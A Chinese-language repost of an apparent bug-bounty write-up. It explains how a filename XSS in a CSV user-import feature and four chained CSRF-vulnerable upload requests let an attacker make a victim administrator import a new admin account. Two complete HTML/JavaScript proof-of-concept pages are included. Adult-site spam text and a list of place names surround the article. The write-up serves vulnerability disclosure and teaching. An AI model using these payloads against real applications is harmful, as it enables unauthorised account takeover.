中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何從XSS漏洞到CSRF利用實現賬戶劫持

發布時間:2021-12-16 18:11:21 來源:億速云 閱讀:150 作者:柒染 欄目:安全技術

如何從XSS漏洞到CSRF利用實現賬戶劫持,針對這個問題,這篇文章詳細介紹了相對應的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。

如何從XSS漏洞到CSRF利用實現賬戶劫持

前不久在HackerOne上參加了一個漏洞眾測邀請項目,目標測試應用(系統)的功能是為一些企業托管相關服務,普通用戶可以通過該系統進行注冊,然后使用這些服務。所以,該應用中會涉及到很多用戶的敏感信息處理操作。后來,作者由一個XSS漏洞入手,發現了上傳功能中存在的四步CSRF漏洞隱患,最終經過構造實現了目標應用的管理員賬戶劫持。

在上傳文件名處發現XSS漏洞

項目開始前兩天,我就發現了幾個中危漏洞,并對它們做了一些分析標記,經深入研究之后,我意識到只要利用一個XSS漏洞,就能非常容易地實現提權。另外,由于更改用戶注冊郵箱時,目標應用沒有諸如向郵箱發更改鏈接或輸入當前密碼的驗證手段,所以綜合漏洞利用,可形成賬戶劫持。為此,我花了好多時間去挖XSS漏洞。

但難處在于,由于目標應用對用戶輸入做了特殊字符過濾處理,所以貌似很難發現XSS漏洞。之后某天晚上,在繼續測試過程中,我注意到,目標應用可以上傳CSV文件來導入用戶信息,這個功能估計值得深挖。于是,我在上傳CSV文件中構造了一些特殊字符,但還是被過濾掉了。接著,我又從CSV文件名入手,在其中構造了XSS 語句:

<img src=x onerror=alert(document.domain)>.csv

終于實現了alert的窗口彈出!好了,大功告成。

XSS綜合CSRF的嘗試

但在后續分析中,我意識到即使構造的文件名XSS是持久型的,這個XSS漏洞目前只能在CSV文件上傳時實現觸發。也就是說,在CSV文件上傳時,應用未做相關編碼過濾處理,但文件上傳到系統服務端后是受編碼過濾的。因此來看,這個XSS漏洞目前也僅只是一個Self-XSS,是不在漏洞認可范圍內的。盡管我試了很多XSS Payload,但還是不能繞過上傳后的服務端過濾機制,無法轉變這種Self-XSS。

此時,我只有把它暫時放一放,希望在后續測試中能發現繞過方法或其它利用方式。接下來,在繼續測試后,我發現目標應用竟然沒有CSRF防護機制,所以,我就想到,能不能用CSRF請求來觸發這個Self-XSS呢?于是,我就立馬動手編寫了一個CSRF請求腳本,如下:

<html>    <body>    <script>history.pushState('', '', '/')</script>      <script>        var uploadId = UPDATE_THIS_WITH_ID;        function submitRequest() {            var xhr = new XMLHttpRequest();            xhr.open("POST", `https://company.com/users/uploadFile?uploadId=${uploadId}`, true);            xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");            xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");            xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------1566359571913061724703232384");            xhr.withCredentials = true;            var body = "-----------------------------1566359571913061724703232384\r\n" +                "Content-Disposition: form-data; name=\"uploadedFile\"; filename=\"<img src=x onerror=alert(document.domain)>.csv\"\r\n" +                "Content-Type: text/csv\r\n" +                "\r\n" +                "Company,User ID,LAST NAME,FIRST NAME,Access,Type,Email\r\n" +                "H1 Company,999,Takeover,Account,System Admin,Administrator,neemaPoC@gmail.com\r\n" +                "-----------------------------1566359571913061724703232384\r\n" +                "Content-Disposition: form-data; name=\"rosterType\"\r\n" +                 "\r\n" +                "staff\r\n" +                 "-----------------------------1566359571913061724703232384\r\n" +                "Content-Disposition: form-data; name=\"importMethod\"\r\n" +                "\r\n" +                "updateAdd\r\n" +                "-----------------------------1566359571913061724703232384--\r\n";            var aBody = new Uint8Array(body.length);            for (var i = 0; i < aBody.length; i++)                                 aBody[i] = body.charCodeAt(i);            xhr.send(new Blob([aBody]));        </script>        <form action="#">            <input type="button" value="Submit request" onclick="submitRequest();" />        </form>    </body></html>

這個CSRF腳本內容是上傳CSV文件的POST請求,好了,CSRF腳本有了,那么就需要在目標應用中找到一個路徑或端點(endpoint),構造請求,發送給受害者用戶,以此實現XSS漏洞觸發了。但是,一經測試,又發現目標應用中幾乎所有路徑或端點(endpoint)都有過濾防護措施,所以我在腳本中構造的文件名XSS Payload - filename=\"<img src=x onerror=alert(document.domain)>.csv\" 也就無法被解析觸發了。即使我嘗試了很多重定向跳轉和其它技巧,但仍然未找到可行方法。沒有思緒,我決定暫時先放一放。

突發靈感-拋棄XSS用CSRF實現管理員賬戶劫持

兩天過后的某晚,在和媳婦看電視的時候,我突發靈感:XSS的實現利用現在可能是一葉障目,為什么不先把那個Self-XSS放一邊,直接去利用CSRF呢?因此,我需要再深入了解CSV文件的上傳過程,完整的CSV上傳過程主要包含以下四個過程,這幾個過程中都會涉及一些用戶信息的修改添加解析:

1、發起POST請求執行上傳動作(POST - 1)

2、修復上傳過程的錯誤(GET-1)

3、解析上傳文件中的相關修改之處,以便進行后續的預覽和驗證(GET - 2)

4、解析并實現預覽,最終提交上傳

經分析測試,第1步的POST請求中存在CSRF漏洞可能,之后的三步GET請求也都存在CSRF漏洞隱患。但整體利用可能有點麻煩,因為不確定這些步驟如何執行,而且后來我才發現其中還遺漏了一步。其次,目標應用需要在上傳錯誤修復之前實現一次查看檢查,所以,還需要在以上第1和第2步之間再插入一個檢查步驟。另外,目標應用的CORS配置也比較合理,當調用各種端點路徑(Endpoint)時,無法獲得任何響應數據。因為這種響應數據對了解以上每個步驟的當前狀態非常有用,就比如可以通過響應返回時間推斷上傳數據的大小、網速、服務器負載等情況。

我決定對每個請求處理完成的平均時間做一些測試,然后使用Javascript中的setTimeout方法來對4個請求實現交錯執行,以確保我可以一次把這4步中的CSRF漏洞進行串聯整合。所以,最終漏洞利用PoC代碼如下:

<html>   <body>   <script>history.pushState('', '', '/')</script>     <script>       var uploadId = UPDATE_THIS_WITH_ID;              function xhrRequest(url) {           var xhr = new XMLHttpRequest();           xhr.open('GET', url);           xhr.withCredentials = true;           xhr.send(null);       }       function submitRequest() {         var xhr = new XMLHttpRequest();         xhr.open("POST", `https://company.com/users/uploadFile?uploadId=${uploadId}`, true);         xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");         xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");         xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------1566359571913061724703232384");         xhr.withCredentials = true;         var body = "-----------------------------1566359571913061724703232384\r\n" +            "Content-Disposition: form-data; name=\"uploadedFile\"; filename=\"neema.csv\"\r\n" +            "Content-Type: text/csv\r\n" +            "\r\n" +            "Company,User ID,LAST NAME,FIRST NAME,Access,Type,Email\r\n" +            "Company,999,Takeover,Account,System Admin,Administrator,neemaPoC@gmail.com\r\n" +            "-----------------------------1566359571913061724703232384\r\n" +            "Content-Disposition: form-data; name=\"rosterType\"\r\n" +            "\r\n" +            "staff\r\n" +            "-----------------------------1566359571913061724703232384\r\n" +            "Content-Disposition: form-data; name=\"importMethod\"\r\n" +            "\r\n" +            "updateAdd\r\n" +            "-----------------------------1566359571913061724703232384--\r\n";         var aBody = new Uint8Array(body.length);         for (var i = 0; i < aBody.length; i++)           aBody[i] = body.charCodeAt(i);         xhr.send(new Blob([aBody]));         window.setTimeout(function () {           window.open(`https://company.com/users/upload?uploadId=${uploadId}`);           window.setTimeout(function() {             xhrRequest(`https://company.com/users/fix?uploadId=${uploadId}`);             window.setTimeout(function () {               xhrRequest(`https://company.com/users/submitToPreview?uploadId=${uploadId}`);               window.setTimeout(function () {                 xhrRequest(`https://company.com/users/submitImport?uploadId=${uploadId}`);               }, 2000)             }, 2000)           }, 2000)         }, 2000)       }     </script>     <form action="#">       <input type="button" value="Submit request" onclick="submitRequest();" />     </form>   </body> </html>

以上PoC執行的功能是:一開始發送POST請求,然后以2秒間隔執行完整CSV文件上傳過程中的4個請求,這對單個用戶的上傳行為來說非常好控制和判斷。攻擊者通過網站控制部署以上這個PoC頁面,如果把目標應用的管理員(Admin)當成受害者,把這個PoC對應URL鏈接發送給管理員,當他點擊加載后,利用CSV文件上傳過程中存在的4個CSRF漏洞處,結合上傳CSV文件中的用戶信息修改,可以實現攻擊者管理員身份的添加,以此間接實現對原來管理員身份的劫持。實現機制是:攻擊者提供在上傳CSV文件中的郵箱會收到一封管理員身份的用戶名密碼鏈接,用該憑據登錄目標應用,可以刪除其它管理員賬戶,完全實現對管理員賬戶的劫持,獲取對目標應用的完全管理權限。汗......。

關于如何從XSS漏洞到CSRF利用實現賬戶劫持問題的解答就分享到這里了,希望以上內容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關注億速云行業資訊頻道了解更多相關知識。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

江永县| 博乐市| 融水| 轮台县| 凭祥市| 安徽省| 平湖市| 哈巴河县| 确山县| 武定县| 金坛市| 马边| 抚松县| 甘洛县| 吉隆县| 浮山县| 温州市| 大田县| 扬中市| 临江市| 抚州市| 中卫市| 海南省| 新泰市| 蛟河市| 玉田县| 武陟县| 定州市| 喀喇| 富顺县| 深圳市| 九江市| 家居| 邵阳市| 河南省| 明星| 宿迁市| 县级市| 石林| 太和县| 喀喇沁旗|